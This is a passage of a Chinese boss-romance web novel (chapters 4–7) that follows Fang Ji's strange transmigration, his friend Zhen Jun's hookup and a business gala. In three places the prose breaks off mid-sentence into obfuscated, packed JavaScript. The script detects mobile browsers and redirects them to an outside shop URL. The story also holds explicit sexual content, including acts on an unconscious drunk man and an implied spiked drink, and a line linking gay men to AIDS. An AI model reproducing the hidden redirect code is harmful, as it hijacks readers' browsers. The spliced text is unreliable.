妈的,老子跟你拼了! 虽然你脸长得不错,身材好,还有钱,但我和你这个傻Ⅹ变态是不会有任何结果的! 唰,几秒后,最后的裤子也被扒了,巨龙完好无损,连根毛都没掉。 方霁:“……” 他真是24K纯直男。 出乎意料的,贺知行在脱干净他的衣物后,并未如方霁所料那样继续下去,而是转身进了卫生间。 水声响起,只见贺知行手拿毛巾,细心地将它浸湿于热水中,拧干,然后返回卧室,开始……给他擦拭身体。 方霁目不转睛,几乎不敢相信眼前的一幕。贺知行的每一个动作,都显得太特么温柔与体贴,往返于卧室与卫生间之间,重复了三四趟才结束。 完成这一切后,贺知行没有立即离开,而是凝视着床上的方霁,突然评价道:“脾气还是这么倔。” 床上的人似乎深陷梦乡,看起来毫无觉察,但方霁的意识却在贺知行的身上,将话听得一清二楚,忍不住回击:“呵,我天生脾气就这样,接受得了就受着,接受不了就自刎谢罪。” 贺知行自然听不见他的声音,转身准备离开这间卧室。 正当方霁以为这场荒诞的梦终于要消停时,贺知行不知道抽的什么疯,又重新停了下来,折返回床边。 不到五秒钟的时间,整个房间内的气氛骤变。方霁心中刚升起的一丝感动与愧疚,如同被狂风席卷的残云,瞬间土崩瓦解,消失无踪。 贺知行的手向下,那条在不经意间已然苏醒的“巨龙”,挣脱了内裤的束缚,重获自由。 面对这突如其来的一幕,方霁原本放松的表情被一种前所未有的错愕所取代。 他的脸颊不小心挨戳了两下,感知到贺知行手上的动作,脸色铁青。 ……操。 - 粗重的呼吸如同江面的波涛,一波接一波地在静谧的房间内荡漾开来,与之相伴的,是贺知行那磁性低沉的嗓音。 贺知行的声线其实很好听,如果不当知谦公司的总裁,改行投身配音界,也绝对饿不死。 此刻,他的声音中多了一抹难以察觉的克制与隐忍,更添几分难以言喻的性感。 但即便是天籁之音,方霁现在也没心思再去欣赏和品味,心底只剩下一个念头:迟早有一天,他要亲手剁了贺知行身下这坨东西! 贺知行的目光始终停留在床上,紧张与刺激交织,手上的动作也愈发用力。 方霁这次虽没再被溅进嘴里,但下巴与脖颈上却淌满了痕迹,量之大,令他不禁怀疑贺知行是不是嗑药了,才能展现出这般异乎寻常的狂野,跟头不受控制的水牛。 结束后,贺知行从床头柜上抽了几张纸巾,擦拭干净手指,随后将用过的纸巾随手丢入了一旁的垃圾桶,从房间内离开。 方霁又是一夜没睡好,贺知行那东西味儿太浓太冲了,极具侵略性仿佛有生命一般,在他的周身萦绕,令他无法摆脱,直至天明。 翌日,方霁从床上挣扎着起身,胡乱地抓了抓蓬乱的发丝,才勉强睁开沉重的眼皮。 回忆起昨晚,他喝了很多酒,但奇迹般地没有如预想中那样头疼,仅是轻微的不适,身体也保持着异常的干爽。 意识逐渐清醒,当方霁彻底看清周围环境,心中猛然一惊。 这不是他家! 房间的布局,显然也不像是酒店一类的地方。但怎么……有点眼熟呢? 宿醉的后遗症就是让他大脑启动得更为缓慢。直至扭头望见一旁的垃圾桶,两个令方霁一阵恶寒的事实才逐渐浮现—— 他在贺知行的家里,还有……昨晚的经历可能不是梦! 方霁几乎是连滚带爬地从床上下来,抱起垃圾桶,眼中映入的是被揉成一团的纸巾,仔细观察,还能辨认出其上已经干涸的白色痕迹。 眼前的事实让方霁无法再自欺欺人。 所以他真穿成了贺知行的一条贴身内裤!? 现在不是二十一世纪,不是科学至上的时代吗? 怎么还会发生这么离谱的事情!!? 就算是穿书,也好过穿内裤这么离谱吧! 与此同时,贺知行也在相近的时间点醒来,下床后径直来到方霁所在的房间。 见到方霁已经清醒,却抱着垃圾桶坐在床边,神情恍惚,整个人跟被吸走了魂似的,连他推门而入都没有给出半点反应。 完全不像他印象中的方霁。 “怎么了?”贺知行迈步上前,想一探究竟。 方霁却在此时回过神来,放下垃圾桶,抬起头,满脸戒备地问道:“你怎么会在这儿?” 贺知行微微挑眉,反问中带着一丝不解:“这是我家,我不在这该在哪?” 方霁一时语塞,他现在脑子里乱得很。 为什么偏偏是贺知行? 这个白日里就令他厌恶的人,现在竟然连他的晚上也不放过,这难道不是对科学的一种极大讽刺吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方霁很快反应过来,下意识抵触:“不是,我和谁在一起,去哪里,这种私事不关贺大总裁的事吧。” 贺知行没再追问了,只是淡淡地说:“昨晚你在酒吧喝醉了,身边也没个人照顾,我刚好在附近,就顺便将你带回了。” 话音落下的那一刻,方霁觉得自己刚才说的话可能有些重了。贺知行给他住又给他吃的,现在只是简单的关心一句,自己却跟吃了火药似的有病。 但转念一想,他又觉得事情并非那么简单。 贺知行为什么会刚好在附近?难道他也是gay吧的常客? 贺知行将一碗热粥轻轻推至方霁面前:“你喝了不少酒,早餐吃些清淡的,对胃好。这粥是……” 为了掩饰尴尬,方霁低下头尝了一口粥,表情登时凝固,脱口而出:“给米看片了啊?这么硬。” 方霁这句话乍一蹦出,贺知行跟着戛然而止,眉头一拧,也尝了一口粥。 方霁好不容易将粥咽下,询问:“你刚才想说什么?这粥怎么了?” 贺知行沉默片刻,将剩余的粥倒入垃圾桶:“是家里的阿姨今早煮的。”说完,他径直上楼,留下方霁一人在餐桌前。 方霁看着贺知行上楼的背影,觉得这人莫名奇妙。然后扫了一眼被倒掉的粥,骂了声浪费粮食后,喝完了自己碗里剩下的。 5. 第 5 章 方霁不是忘恩负义的人,尽管昨晚贺知行出现在那里确实令人怀疑,但他终归受对方恩惠,昨晚还吐了人家一身,于情于理也应该有所表示。 只是要让他当面道谢,短期内不太可能。 他现在一看到那张脸,脑海中便不由自主地浮现出那条令他抵触的巨龙身影,以及再次给他造成心理阴影的举止。 方霁自己也是男人,懂得男儿本色,同样也会有需要发/泄的时候。那是生活压力下的一种自我排解,人性之常。 但贺知行这种打/手/枪的行为,对他来说却截然不同,没法再保持冷静。 可能还没说出“谢谢”两个字,他就先又吐贺知行一身。 方霁用过早餐,摸出手机。 置身于数字化的洪流中,他早就没了随身带现金的习惯。于是他在微信好友列表中找到贺知行,大发慈悲地将对方从黑名单中放出来,在转账金额那一栏输入“3000”。 当他的指尖即将触及密码的最后一位数字时,一种迟疑却如潮水般涌来,将他的动作冻结。 他现在公司资金运转不周,最缺的就是钱了,三千块……都够他在夜店里包一只顶配鸭/子了。 贺知行这人又不卖/身,还都住上小别墅了,肯定是不差钱的,那就转他三百意思意思得了? 再者,自己接连两晚饱受摧残,都没向他索取精神损失费。 方霁心中盘算着,删去了一个零,谁知下一秒,手机界面弹出了账户余额不足的提示。 方霁:“……” 草,他差点忘了,自从出事后,他的钱几乎都砸了进去,仅剩不多的也用在昨晚吃饭和喝酒上,现在穷得叮当响,都快赶上社会扶贫标准了。 方霁盯着手机屏幕,下颚线绷紧。 不行,他今天无论如何也不能欠贺知行的人情。 手一点,一笔巨款转了过去。 贺知行早上有晨跑的习惯,三明治是回来路上买的。他换下运动装冲完凉,已经是半个小时之后,拿起手机,看到手机屏幕上那个常年红色感叹号的联系人发来消息,怀疑了几分钟对方是否被盗号才点进去。 第一条消息是转账。 第二条消息是—— 【方霁:昨晚我睡的很好,谢谢。】 贺知行的目光停留在那条转账上,沉默半晌,还是截下一张图,私发给另一位关系还不错的朋友。 【贺知行:(截图.jpg)】 【贺知行:他这是什么意思?】 那边兴许正在忙,过了好一会才有所回复,接着消息如连珠炮般倾泻而下,营造出一种千军万马的架势。 【wok,几天不见,你小子这是闷声干大事啊!?】 字里行间,溢满了惊喜与好奇,如同发现新大陆兴奋。 【这应该是嫖/资吧?】 【不愧是霸总,一/夜/情都给你玩上了。看对面的头像,难道也是个男的?】 【(猥琐.jpg)】 贺知行没有解释,不过这并不妨碍对方继续脑补下去。 【你睡的对方,还是对方睡的你?】 【快,这对我来说很重要。】 【我需要事情的起因、发展、高潮、结果,麻烦你详细写明,打包发给我。】 【(磕头.jpg)】 【对了,你下次可以试试勾起他的下巴,轻启唇瓣,低沉地说一句‘男人,你这是在玩火’。相信我,对方你一定会被你迷得死去活来,事成之后,别忘了再给我发一份感想哦~】 方霁究竟会不会死去活来,贺知行不确定,但他知道,对方一定会觉得他有病。 他的这位朋友前两年时间空闲,某日突发奇想,决定开始写书,于是一脚滚进了小说行业,两个月埋头苦码了四十万字,兴高采烈地去审签,结果一鲨、二鲨、三鲨、四鲨…… 据说,那个小说平台在圈内颇有名气,名为绿某江,其审签的门槛高得令人望而生畏。 几乎所有的编辑都给她轮完了,大半年后,她的第一本书彻底宣告扑街,不仅废了四十万字,还另外单机码完了六十多万字,直到完结那天也没能签约上,甚至连个活读者都没有。 她开始陷入自我怀疑,终于认清了自己并非天赋异禀,更不可能一书成名的事实。 她那阵子经常找贺知行倾诉,一来二去的,贺知行便对她的事情有所了解。 第二年的同一时间,她拿着已经写了十五万字的第二本书尝试审签,在不抱任何希望的情况下,意外一次过了。 之后他这位朋友隔三岔五就向他要些日常当作素材,前阵子准备开一本都市玄幻文,但卡文卡得厉害,头发都快抓没了,于是一怒之下跳上桌子,发起癫,切文写了另一本。 名字挺低俗,叫什么《总裁的贴身内裤》,差点不过审,还第一章就被锁。 贺知行虽然尊重她的创作自由,却并不理解。都二十一世纪了,还写这种快被市场淘汰的霸总文,真会有人看吗? 他转移视线,看着聊天界面上的“嫖/资”二字,若有所思。 方霁没有在餐桌前继续干坐着,给贺知行转完帐,问认识的朋友先借了一万块应急,便出门打车直接去了公司。 离目的地还有不到五分钟路程,他的手机弹出一道提示音,是贺知行的消息。 【贺知行:我就只值30块嫖/资?】 方霁看着那行文字,一时愣住,难以置信这样的语句竟能出自贺知行之口。 少顷,他回复完,就将对方再次拖进了黑名单之中。 【方霁:赞助你治脑子的。】 - 方霁承认,他昨晚确实喝断片了,关于贺知行是如何从喧嚣的gay吧将他带离的细节,现在还是一片模糊。直至踏入公司,坐在那张熟悉的办公椅上,一个名字猛地从他脑海中闪过——甄均! 自己昨晚被带走时,也不知道贺知行有没有跟甄均打一声招呼。 这家伙现在在哪?该不会被人拖去开房了吧? 据社会调查显示,高危性/行为者最容易染上艾滋病,其中主要包括男性同/性/恋者、性工作者、吸毒者等。尽管gay吧的氛围与寻常酒吧并无二致,但潜意识中的抵触,还是让方霁对那个场所有了“不干净”的刻板印象。 方霁急忙掏出手机,翻阅通话与聊天记录,却没找到来自甄均的,这让他心中更加忐忑。 难道贺知行说了?然后甄均自己找了家酒店休息? 这是方霁最希望的结果,但以防万一,他觉得还是有必要打个电话过去确认一下,自己怎么说也年长甄均五岁。 第一次打过去没人接,方霁心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773826|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想甄均昨晚也喝了不少酒,早上正是睡死的好时段,没有接到也是情有可原。于是等到中午,方霁又给那边拨了一个电话过去。 振铃响了很久,就在快要自动挂断的时候,那边终于接通。甄均的声音从手机里传出来,听起来比平日更加沉重,暗哑。 “你声音怎么了?”方霁关切地问。 “没什么……嗯……昨晚酒喝多了,加上晋城晚上的天气,可能有些着凉感冒了。”甄均解释道,气息不稳。 方霁心中仍存疑惑,他隐约在电话里听到了另外一个人的声音:“你现在在哪?真不舒服的话我来接你去医院看看,感冒这种事说大不大,但拖久了对脑子不好。” “不用了。”甄均拒绝得很快,“我现在在酒店,再睡一会就出去吃饭。” 方霁看了一眼手机屏幕,备注是“甄均”没错。这家伙往常来晋城恨不能二十四小时黏在他身边,不仅从不拒绝他的任何见面要求,甚至还会找各种理由贴上来。 今天这是太阳晒着屁/股,烫转性了? 方霁还想再问,甄均却抢先开口:“不说了方哥,我真的好困,晚点聊。”话语间透露着疲惫,也带着一丝急切。 方霁无奈,只得应允,“那行吧,你记得定一个闹钟,别睡过头了,酒后空腹太久也对身体不好。” 电话那端的甄均轻轻应下,随即是断线的静寂。 方霁盯着手机屏幕看了良久,才松开紧皱的眉心。 …… 宽大的双人床上,手机被随意扔在了身后,男人的腿也再一次被掰开,其中一条高高架起,几乎在身前压折成了一百八十度。 “你对象?”男人瞥了一眼被扔开的手机,调侃道:“想不到你看着年纪不大,居然还干偷/情这种缺德事。” “无论对方是男是女,你这种行为都是要遭雷劈的。” 甄均估摸着男人应该上了三十岁,挺身的同时回道:“你昨晚勾/引我的时候,不也没问过我有没有对象。真要劈的话,你也逃不了。” 突如其来的冲击令男人眉头紧锁,旋即又如云淡风轻,迅速舒展。 他腰腹肌肉紧绷,爆发力惊人,一翻身,便反守为攻占据了上风,稳稳坐在甄均的肚子上。 “我一个向来只做1的人,给你gan了一晚上,这个货你验够了吗?” 甄均却满不在乎,嘴角勾起一抹淡笑,“谁让你非要给我那杯酒的。” “怪我?”男人戏谑道,眼中闪烁着狡黠的光芒,“小朋友,你的幼儿园老师难道没有教育过你,出门在外不要轻易接受陌生人的东西吗?” “小朋友”三个字一出口,甄均的神情瞬间变得不悦。 男人心下了然:“知道你不喜欢‘小朋友’这称呼,但你又没告诉我名字,我总不好喂啊喂的叫你吧。” “甄均。”甄均简洁道。 “真君?”男人咀嚼着这个名字,眉头轻皱,旋即又觉得是自己多想了。 他往后瞥了一眼,“你这样子,看起来可一点不像个真人君子。” 男人的一对丹凤眼笑起来极具魅惑,昨夜在吧台前的惊艳,至今仍令甄均记忆犹新。那套精致的正装下,隐藏着一副充满性/张力的健美身躯,每一寸肌肤,都散发着迷人的光泽。 甄均没再接话,双手握上了男人的腰。 6. 第 6 章 当激情彻底褪去,已经是两个小时之后,两人下了床,轮流进入浴室。 甄均先洗完,从床尾拿起手机。随着欲/望渐行渐远,思绪也回归清明。回想起昨晚,自己色令智昏地将方霁忘在沙发上,独自离开。 重要的是,方霁中午居然没拿这件事骂他! 甄均心头一跳,马上拨打了一个电话过去。 “喂,怎么了?”电话很快接通,方霁的声音略显疲倦。 甄均挺心疼的,主动认错道:“对不起,哥。昨晚是我硬要拉着你跟我去喝酒,结果却没照顾好你,还把你一个人丢在那种地方。” 电话那端,短暂的沉默好似因网络的迟滞,却令人忐忑。正当甄均担心方霁是不是真生气了,耳畔响起了一声轻笑。 “你哥我好歹也是个快三十的成熟男人,用不着人照顾。” 甄均长吁一口气,随后又与方霁闲聊了几句,气氛渐趋融洽。 “对了,哥你昨晚是在哪休息的?不会真在gay吧沙发上睡了一晚上?” 方霁对此的回答却很含糊,“不是,我昨晚休息的还可以。” 甄均总觉得对方是有什么事瞒着不想让他知道,但也识趣地没有继续追问。 与此同时,浴室的门打开了,一道身影踏着湿润的步伐进入甄均的视线。 男人手上用毛巾擦拭着湿漉漉的短发,水珠沿着指缝滑落。身前任由浴袍半遮半掩,露出一段白皙修长的双腿,其间尚有未消散的红痕,如同冬天盛开的红梅点缀在肌肤之上。 甄均的目光不由自主地停留在男人身上,心中涌上莫名的情绪。直到男人朝这边看过来,他才状似无意地移开视线,继续跟电话那头聊天。 “……方哥,要不你下次还是别去gay吧了。” 方霁感到诧异。一开始要死要活怂恿他去gay吧的是甄均,现在劝他今后别去的还是甄均,这角色转变,变戏法的都没他这么会变。 他嘴上逗着人:“为什么?”却根本没有再去第二次的想法。 他一个直男进那种场合,跟羊入虎口无异。这回是有性取向正常的贺知行将他带走,下次就不一定有这种好运了。 甄均知道一般的理由很难劝服方霁,嘴角挂上一抹狡黠,嘿嘿笑了两声后说:“方哥,你身上太香了,专门吸引色狼。” 方霁怔愣片刻,意识到这混账小子是在揶揄他后,道:“少在那里油腔滑调,没事去精神科检查一下,看是不是又堵塞了。”说完,果断挂断了通话。 甄均笑得更厉害了。 还会骂人,这才是他印象中的方哥! 他收起手机,一转身,就发现男人正抱臂靠墙看着他,眉毛轻轻挑起:“又是你对象?” 甄均没有正面回答,收拾好神色站起身,道:“虽然我对昨晚确实挺满意的,但你不像是第一次,应该知道关于打炮的原则:各取所需。” “出了这扇门,我们就当互不相识,也互不干涉。” 男人知道他这是准备离开,没有试图挽留,更没有提及交换联系方式,仅是坦然一笑,“放心好了,论年龄,我至少比你年长七八岁,不至于幼稚到浪费时间在无谓的纠缠上。” 甄均这才满意地点了点头,从酒店内离开。 - 方霁正在翻看今天交上来的财务报表,只看了两页,便将其啪的一声合上。 随后叫来了助理,沉声问道:“小刘,这个报表是谁负责做的?” 刘叉答道:“报表是由财务部一名实习生今早交上来的,具体的负责人有谁还不清楚,方总需要我向财务部问一声吗?” 方霁刚想将报表扔给小刘,让他吩咐下面重做,又突然意识到不对劲。 作为一家企业的核心部门,财务工作的严谨性历来受到方霁高度重视。通常情况下,员工完成任务后需先经组长检查,再由主管审核,确认无误后逐级上报,以此构建起一套严密的质量控制体系,力求将错误率降至最低,同时节约高层管理者的宝贵时间。 反观这份报表,连最基础的格式要求都能出错,财务部的人是集体瞎了吗? 破天荒的,方霁拿着这份报表,乘坐电梯亲自下到财务部。 “这份财务报表是你们谁做的?”方霁进入办公区域,声音平静,却暗含不容忽视的威严。 众人敏锐捕捉到了老板的语气变化,相互交换着眼神,现场一片鸦雀无声。 在方霁几乎将在场所有人扫视一圈后,一位身穿休闲牛仔裤搭配简约T恤的女孩,战战兢兢地从座位上站起,低头嗫嚅道:“方、方总,是我。” 方霁的语调依旧不冷不热:“这些全都是你一个人做的?” 公司旗下艺人与合作众多,流水账繁琐,从收集整理财务数据,然后进行核对分析,再到最后生成完整的财务报表,整个财务部的人共同完成都需要数周。 更别说这份报表牵涉的还不是一个月,而是过去六年的内容。 女孩刚想开口,意识到这一点后又咬紧下唇陷入沉默,脑海里疯狂搜寻该怎么回答,才能既不得罪周围同事,又能缓解老板的怒火。 可惜,方霁已经先一步看穿,道:“所有人,工资扣五百。” 霎时间,办公区内炸开了锅,一片哗然。 “怎么,不服?”方霁面容严峻,“是不是我平时对你们太宽松了,才让你们觉得可以随便用这种下三滥的东西来忽悠我?” 没人再敢出声,大家心里都明镜似的,老板这次是真动了肝火。 方霁十分讲究“什么时间点该做什么事”,日常中的他看起来随和亲切,幽默风趣,没什么老板架子,但要真因此以为他是个任人拿捏的软柿子,那就大错特错了。 投身工作的方霁,对人对己都有着近乎苛刻的要求,不然怎么能在短短六年时间内,便令方天娱乐公司迅速崛起,一举跃升为业界翘楚。 “现在我是在追究责任,过了那么久才一个实习生敢作敢当站出来,如果我今天是要表彰呢?” “这份报表不是你们财务部一个人的工作,而是所有人,我花钱请你们来更不是供着好看的。要不愿意干,人才市场有的是人过来顶替你们。方天公司绝不会因为你们之中任何一个人的离开就停止运转。” 一瞬间,现场气氛跌到了冰点,所有人脸上都有些挂不住。 恰在这时,财务部的主管接到刘叉的紧急通知,匆忙赶来。一见在场众人面色凝重,便大致猜测到事态发展,连忙对方霁点头哈腰:“方总息怒,新人刚来不懂事,要是有哪里做得不对的地方还望多担待,不管是什么,下去之后我一定好好让她改正。” 方霁转过身来,皮笑肉不笑道:“赵主管是不是搞错主次了?我这次来,是为了你。” 要不然他也不会让刘叉去“通风报信”了。 赵主管猜错了方霁此行的真实意图,闻言一愣,有些没反应过来:“那方总的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773827|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思是……?” 方霁将那份不堪入目的报表拍在他身上,道:“你说,光凭这份报表,我能不能扣你一年的薪酬?” 赵主管以为方霁意在敲山震虎,面上流露出焦急之色:“方总,我在公司五年,就算没有辛劳也有苦劳,您不能——” “赵主管先别急啊,小心上火了。”方霁又拍了拍他的肩膀,语气中透着惋惜:“你说得有道理,这几年智商和年龄逆向行驶很累吧,真是辛苦你了。那么从今天起,你就可以下班好好休息个几十年了。” 犹如冬日冷水兜头倾泻,赵主管彻底呆滞住。 方霁一贯雷厉风行,话毕即刻转身离开,不留任何申辩或恳求的机会。 等确认方霁和赵主管都走了,财务部内掀起一阵低语。 “卧槽,这还是我入职以来第一次看到方总发这么大的火,连赵主管都说开就开了。那我们这些小员工今后岂不是更加危险了?” “完了完了,我前几天还在八卦方总和贺总的事,别不会过几天也要被炒鱿鱼了啊啊啊。” “不是,你们也把方总想得太小肚鸡肠了吧。” “其实我倒觉得方总开得挺好的。咱在财务部的时间也不短了,还不清楚赵主管是个什么样的人?像他这种甩锅侠兼压榨机,现在不开除难道留着进坟?还是别添这份晦气了。” “……” 刘叉是跟着方霁一起离开的,进了电梯,才不确定地问:“方总,你真要开了赵主管?” 方霁回答得很干脆:“嗯。你回头让人力资源管理部整理一份近三年的员工绩效考核给我,既然蛀虫除了,也该提拔其他有能力的人来坐这个位置。” 在他看来,经营企业与投资理念并无二致。他愿意给予一个新人成长的空间,挖掘潜在的优质资产,但绝不容许一个败笔侵蚀他的财路。 赵平是跟了他五年不假,头两年也算尽心尽力,所以对于他后面的懈怠和失误,除非触及底线,方霁总会顾及旧谊,选择睁一只眼闭一只眼。 但这并不代表他是死的,什么都不知道。 “方总,我还有一个疑惑。” “什么?” “为什么你看出其余员工联手排挤实习生的事实,还要连她的工资一起扣?” 方霁没有直接回答,而是抛出反问:“如果明天,我再招进来一个新助理,他的学识、能力都在你之上,也更加受我青睐,短期内后来居上,你会怎么想?” 刘叉好像明白了什么。 “人都是趋利避害的,当一个人的利益受损,会下意识将错误归咎于获益的那个人,而不是先从自身角度思考。我扣除她的工资,无非是将她从受益者变成了受害人。” 叮,电梯抵达目的楼层。刘叉识趣地终止话题,注意力重新聚焦于工作事项之上。 “过两天就是猩光晚会,主办方已经发了邮件和正式邀请函过来,您要出席吗?” 一年一度的猩光晚会,乃业界精英聚集的盛宴,唯有名副其实的重量级人物方可获邀参与,是个洽谈合作和资本对接的好地方。但同样的,晚会光鲜亮丽的外表之下,隐藏着错综复杂的利益纠葛,远非表面上那样干净简单。 方霁其实挺烦这类交际活动,往年都是象征性露个面就提前离开了。但今昔不同往日,方天的事情瞒不了多久,他必须去,还得牢牢抓住这个机会。 方霁露出一个势在必得的笑:“回复那边,我会按时参加。” 7. 第 7 章 数日后,方霁一身正装出席猩光晚会。 宴会规模宏大,分为室内室外两个区域,大厅内金碧辉煌,名流云集。直至主持人宣布开幕仪式即将开始,喧嚣的宾客才渐次落座,将目光聚焦于中央的大屏幕。 不出所料,贺知行今晚也来了,身旁簇拥着一群渴望合作或是结交权贵的追随者。 方霁只当没看见对方,在开幕式结束后便站起身,开始物色合适的投资人。 刘叉已经替他向主办方要了一份出席者名单,经过一番筛选下来,他已经有几位确定的目标人选。 谁知原本正与人相谈甚欢的贺知行主动走上来,打断了他的计划:“你在找人?需要帮忙吗?” 尽管心中不悦,方霁面上仍维持着礼貌且疏离的笑:“贺总的好意我心领了,但我的事情,还是不劳贺总费心了。” 他朝贺知行身后瞥了眼:“想必贺总身边还有更需要您关照的人,可千万别叫人等急了。” 贺知行其实多少能猜到方霁此行的目的,正欲开口,迎面走来一位体形略微发福的中年男子,旁边陪伴着一位风情万种的女人,紧紧挽着他的胳膊。 “哎哟,这不是方总和贺总嘛,有阵子没见了吧。”男人油光满面,目光在二者间来回游弋。 方霁认得此人,他是算彩公司的老总王跋担,喜好投资,出手阔绰,却也是圈内闻名遐迩的色鬼,曾多次利用职权潜规则旗下艺人与员工,男女通吃,手段层出不穷。 前段时间,还被曝出其包养的男星因伤住院的消息,但很快就被金钱抹去痕迹,没能激起多大的舆论风波。 唯独可怜了那名小男星,据说下半辈子都毁了,不得不依赖导尿管度过。 方霁是缺钱,但也还没到要去吃屎的程度。 “好久不见,王总看上去愈发精神焕发。”方霁微笑道。 即便负面新闻频传,依然有不少人甘愿靠近,企图借势谋取捷径。 此时,王总身边的女人正是近日崭露头角的三线女演员。她身着一袭性感黑裙,妆容精致,仿佛完全不在意暴露与王总的暧昧关系,甚至可能视之为一种炫耀的资本。 旁边的贺知行跟着打了招呼。方霁看着面前的中年男人,心底却不由得阴暗地想:这天气渐凉,咋就不能轮到王氏破产呢?也算是为民除害。 “听闻方总贵司最近与周大导演联手,准备筹拍一部大片,不知可否赏脸卖鄙人一个人情,我这儿刚好有个合适人选可以推荐。”王总边说边给旁边的女人使了个眼色。 女人心领神会,从不远处的酒架上顺了两杯红酒,走上前来,递了一杯给方霁,甜笑着说道:“方总你好,我是许希,这杯红酒敬你。”说完,她豪爽地一口闷。 方霁算是看透了,原来王跋担这是来帮自家宝贝儿挖资源的。 可惜,他找错对象了。 接过酒杯,方霁只是笑笑,并没有举杯。女人保持着优雅的笑容,试着套近乎:“不好意思,我能问问方总现在有交往对象吗?” 方霁很快给出回答:“我小时候喜欢过人。” 贺知行目光微闪,不由自主地看了方霁一眼。 女人接着追问:“那现在呢?” 方霁放下酒杯,两手插兜,淡定地说:“不喜欢人。” 这话让女人愣住,反应过来是什么意思后神情尴尬,语塞良久。王总见状,赶紧圆场:“哈哈,方总还真是一如既往的幽默。” 方霁抓住机会脱身,道:“我今晚好像有些喝高了,出去外面透透气,就不打扰王总的雅兴了。” 王跋担虽然想给女人铺路,但不至于为此得罪方霁。闻言没有过多纠缠,只提醒方霁注意身体。 方霁微微点头,来到室外。 “真不舒服的话,可以先回去休息。”出乎意料,贺知行居然也跟出来了。 方霁瞅了他一眼。 这家伙怎么跟狗皮膏药似的,从刚才就开始粘着他。 何况他要是真走了,还怎么找投资人。 贺知行表面上一副关切的模样,实际上是巴不得他公司赶紧黄摊儿吧! 瞧瞧,都亲自来盯梢,就为了掐灭他翻盘的可能性。 “你副业是卖水管的吗?管这么多。”方霁这次没再给他好脸色。 贺知行:“……” “别再跟着我了,时过境迁,我和贺总之间,不管是公事还是私事,都没什么可聊的。”说完,方霁径直走向人少的后园,他是真需要透透气。 后园有几张长椅,方霁挑了张坐下,往后一靠,闭眼没几分钟,耳边响起一阵由远及近的脚步声。 方霁以为又是贺知行,正准备开骂:“你怎么跟阴魂附体似的——” 看清来人,话到嘴边硬生生刹住车。 “不好意思,我没想到会打扰方总休息。” 来人一身定制西装,散发着成熟男人的独特魅力,一双丹凤眼凌厉而又带点勾人心魄的韵味。 这是一张陌生的面孔。方霁站起身,既然对方能叫出他的姓氏,想必是对他有所了解。 男人递上名片,自我介绍道:“我叫裴青川,来自万申集团。刚才在宴会厅偶然听见方总与人的谈话,觉得很有趣,就自作主张想来认识一下。” 万申集团…… 如果方霁没记错,这是一家多元化的巨头企业,触角几乎遍布各行各业,其综合ROE在全球排名前三十,国内则稳居前五。 这家公司,也正是方霁最初的瞄准对象之一。 方霁接过名片,上面印着醒目的万申集团logo,底下是裴青川的名字,一旁标注着首席执行官的身份。 - 台球室,甄均正在兴头上,口袋中的手机忽然震动起来。 一杆漂亮的击球之后,他挺直身子,伸手掏出手机,屏幕上跳动的来电标识显示为“周女士”。 “喂,老妈大人有何指示?”甄均一边将手机夹在耳际与肩膀之间,一边摘下了黑色手套。 电话那头传来母亲温柔却担忧的声音:“儿子啊,你还在晋城吗?听说那边最近降温厉害,一定要多穿点,别让自己冻着了。” 甄均应下:“老妈,你放一百个心吧。我都二十四岁的人了,懂得照顾自己,更何况还有方哥在,就算你不信我,也得信他吧。” 去年年末,甄均和父亲爆发了一场激烈的争执,赌气之下跑了出来,即便是春节也没有回家团圆,而是留在了晋城。 周女士心疼儿子,好说歹说,终于令丈夫松口,在大年初三那天,夫妻俩驾车前往晋城。 当时甄均正赖在方霁家中蹭吃蹭喝,故而周女士第一次见到了方霁,发现他是一个幽默又不失稳重的人,对他的第一印象非常好。 “你还有脸提小霁。他和你无亲无故,帮忙是你幸运,不帮是你活该,你别总是给人家添麻烦。” 甄均这辈子就畏惧两人,一个是方霁,另一个就是周女士。对于前者,他害怕的是方霁的严肃;而对于后者,却是惧怕她的说教。 就比如现在。 “行了老妈,这些道理我全都明白,我不会频繁打扰方哥的。另外我现在正忙着呢,你要是没什么要紧事我就挂了哈。” “在忙?”母亲深知儿子的习性,毫不留情地揭穿:“这种借口骗骗你老爸还差不多,我是你亲娘,你这点小心思能逃得过我的眼睛?老实交代,你又跑到哪瞎混了!” 甄均无奈之下,只得承认自己在台球室。 周女士冷哼一声:“当初生下你之后,我真该接着再生个二胎。” 甄均嬉皮笑脸地回应:“其实你现在再生也不迟,爸还没达到绝精的地步呢。” “你这混小子,是在讽刺你爸,还是巴不得我再遭一次罪!”周女士抚了抚胸口,不止一次怀疑,自己当初是不是在医院抱错了孩子。 “算了,我也不跟你扯皮了。你哥前段时间回国了,你要是有空就去见见他。” 甄均一脸懵逼:“我不是家里的独子吗,哪里来的兄弟?” 周女士解释道:“忘了告诉你。你妈我有个挚友,就是以前我想让你拜为干妈,结果你脑袋抽疯,死活不同意的那位。” 甄均顿时语塞:“妈,你可是我的亲妈,有你这么骂自己儿 